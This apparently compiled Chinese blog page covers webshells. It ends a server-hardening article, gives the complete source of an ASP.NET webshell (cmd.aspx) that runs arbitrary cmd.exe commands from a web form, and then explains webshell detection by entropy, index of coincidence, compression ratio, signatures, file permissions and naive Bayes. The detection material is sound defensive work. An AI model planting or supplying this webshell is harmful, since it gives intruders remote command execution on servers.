总结:经过了这样的设置,就算攻击者拿到了Webshell,至多对当前的网站进行操作,不会或者不太容易通过提权渗透而对整个服务器造成危害。当然,在功与防的斗争中只会此消彼涨,永远没有最后的胜利者。安全是个系统工程,类似于“木桶原理”,哪怕是一点点疏忽就会全盘皆输,提高安全意识,提高安全技能才是关键。


========

cmd.aspx-ASP.NET环境下执行cmd命令



<%@ Page Language="VB" Debug="true" %>
<%@ Import Namespace="system.IO" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
dim but as string
dim tempfile as string=server.MapPath(".") & "\" & "test.txt"
shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,20000)
dim myread as new streamreader(tempfile,encoding.default)
but=replace(myread.readtoend,vbcrlf,"<br>")
but=replace(but," "," ")
result.text=but
myread.close
file.exists(tempfile)
file.delete(tempfile)
cmd.text=""
end sub
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>ASP.NET Shell V1.0 By fineacer</title>
</head>
<body>
<form runat="server">
<asp:TextBox ID="cmd" runat="server" />
<asp:Button ID="Button" runat="server" Text="Run" OnClick="runcmd" />
<p><asp:Label ID="result" runat="server" /></p>
</form>
</body>
</html>




ASP.NET环境下执行cmd命令的程序,相当于cmd.asp不过这个需要asp.net环境,由于IIS6的机制,本程序不能在IIS6运行,不过可以很好的支持IIS5.x + .net framework.
========

浅谈webshell检测方法



一  什么是webshell


“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为匿名用户(入侵者)通过网站端口对网站服务器的某种程度上操作的权限。
简单理解:webshell就是一个web的页面,但是它的功能非常强大可以获得一些管理员不希望你获得的权限,比如执行系统命令、删除web页面、修改主页等。
webshell中由于需要完成一些特殊的功能就不可避免的用到一些特殊的函数,我们也就可以对着特征值做检查来定位webshell,同样的webshell本身也会进行加密来躲避这种检测。


二  webshell长什么样子


下图就是一张php webshell的截图,它的功能还是比较全的,如果你是网站管理员的话肯定是不希望普通用户获得下面的权限的。


1.jpg


三   webshell检测有哪些方法




如果你怀疑你的网站被人上传了webshell或者你需要检查一下需要上线的代码中是否被嵌入了shell代码,就需要对这些文件进行扫描,那么有哪些方法可以扫描出这些webshell呢?
下面列举一下,也就是我们的webshell扫描工具中实现的功能。
1 求文件的重合指数index of coincidence(缩写为IC)
首先介绍一下什么是IC?


2.jpg


IC是用来判断文件是否被加密的一种方法。它的计算公式是这样的:


Σ(fi * (fi-1))/N(N-1)    :fi 代表样本中某个字母出现的比率,N代表字母出现在样本中的个数
通过计算,我们可以得到以下两个值:


english的IC值为0.0667,
english中一个完全随机的字符串的IC值为0.0385
那么这两个值有什么意义呢?
简单来说(english),
加密文件的IC值接近0.0385
明文文件的IC值接近0.0667
好了,那么我们就可以计算每个文件的IC值,如果这个文件的IC值接近0.0385,那么我们认为它是加密的,而一个web中加密的文件一般就意味着它是个为了逃避检测的webshell。
2   求信息熵
    信息熵是一个数学上颇为抽象的概念,在这里不妨把信息熵理解成某种特定信息的出现概率(离散随机事件的出现概率)。一个系统越是有序,信息熵就越低;反之,一个系统越是混乱,信息熵就越高。信息熵也可以说是系统有序化程度的一个度量。
    熵是从整个集合的统计特性来考虑的,它从平均意义上来表征信源的总体特征,其公式为:


3.jpg


如果有一个系统S内存在多个事件S = {E1,…,En}, 每个事件的机率分布 P = {p1, …, pn},则每个事件本身的讯息为


Ie = − log2pi
(对数以2为底,单位是位元(bit))


Ie = − lnpi
(对数以e为底,单位是纳特/nats)
如英语有26个字母,假如每个字母在文章中出现次数平均的话,每个字母的讯息量为


I_e = -\log_2 {1\over 26} = 4.7
而汉字常用的有2500个,假如每个汉字在文章中出现次数平均的话,每个汉字的信息量为


I_e = -\log_2 {1\over 2500} = 11.3
整个系统的平均消息量为


H_s = \sum_{i=1}^n p_i I_e = -\sum_{i=1}^n p_i \log_2 p_i
因此我们可以求每个文件的信息熵值,值越大,为webshell的可能性越高。
3、求文件中的最长单词
    求一个文件中的最长单词是多长,比较异常的长单词是很可疑的。如下面的第一位的有84070,毫无疑问他是加密后的一整串字符串,极有可能是webshell


84070        /home/wwwroot/default/webshell/css.php
4、文件的可压缩比
文件的压缩比=压缩文件后的大小/文件的原始大小。
那么什么样的文件的压缩比比较大呢?这就要说到压缩算法的本质:
压缩的实质,在于消除特定字符分布上的不均衡,通过将短码分配给高频字符,而长码对应低频字符实现长度上的优化。
做了个简单的实验:将一个txt文件中填充了一堆的a字符,总大小为345KB,用7z压缩后为1K


4.jpg


那么我们是否可以这样理解,由base64编码过的文件,消除了非ascii的字符,这样实际上base64编码过的文件的字符就会表现为更小的分布的不均衡,压缩比就会变大。
5、特征值匹配
这里提到的特征值匹配分为2个部分:第一个是匹配特征函数和代码,也就是说webshell中会用到的而一般文件不会用到的函数和代码。第二个是指匹配特定webshell中的特征值。
第一种情况我们需要对这些函数和特征代码做整理,然后与文件进行匹配。
第二种情况需要收集出现过的webshell,将其中的特征码提取出来。目前已知的库位500个webshell的特征库,可以准确识别99%的已知的webshell。
6、文件属性
第一种:在web服务器中,文件一般的创建时间是几种的,如果某些文件的创建时间比较异常,那么它就有可能是webshell。
第二种:在web攻击过程中,有一种手法是利用mysql到出一句话木马到web目录中,那么这个导出的文件有其特殊性,所有导出的文件的权限都是666.那么我可以这么认定,权限为666的文件有可能是webshell。


四 朴素贝叶斯模型


以上几种方法都有其准确率和误报情况,经过测试,每个方法都能检测出一部分webshell并且存在着一定程度的误报,那么如何将他们的检测结果整合起来,来更准确的判定一个文件是否webshell?
由于我们的检测方法基本上是离散的,所以考虑使用朴素贝叶斯模型。
首先用数学语言描述一下我们的问题:
一个文件的检测结果有两种:是webshell和不是wenshell。那么检测结果是webshell的概率我们用P(y=1)来表示,检测结果不是webshell的概率我们用P(y=0)来表示。
假设我们的检测方法有5种,那么x = [x1,x2,x3,x4,x5].
假设我们检测一个文件后各个检测方法的结果为:x1 = 1,x2=0,x3=0,x4=0,x5=1
那么我们的目的是计算出P(y=1|x)和P(y=0|x)。也就是计算出该文件是webshell和不是webshell的概率各是多少,概率更大的我们就做为最终结果。
下面我们推演一下:
首先是贝叶斯公式为:


5.jpg


那么我们需要的P(y=1|x)为:


6.png


由于P(y=1|x)和P(y=0|x)中的分母都是一样的,所以我们只要求出分子进行比较,那个值比较大就取那个值。
现在我们未知的值为p(x1=1|y=1),p(x2=0|y=1),p(x3=0|y=1),p(x4=0|y=1),p(x5=1|y=1),p(y=1)
这些值应该如何得到呢?
首先我们需要一个样本,样本中大量的web文件,其中混有各种webshell,这些标签我们是可以确定的,那么下面我们要做的就是利用程序对这些样本进行检测,根据检测结果计算出我们需要的值,比如:
p(x1=0|y=1):它代表的意思就是检测的文件是webshell,利用x1检测方法的检测结果为0(不是webshell)
如果结果为P(y=1|x)>P(y=0|x),我们就判定该文件是webshell。
========
  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值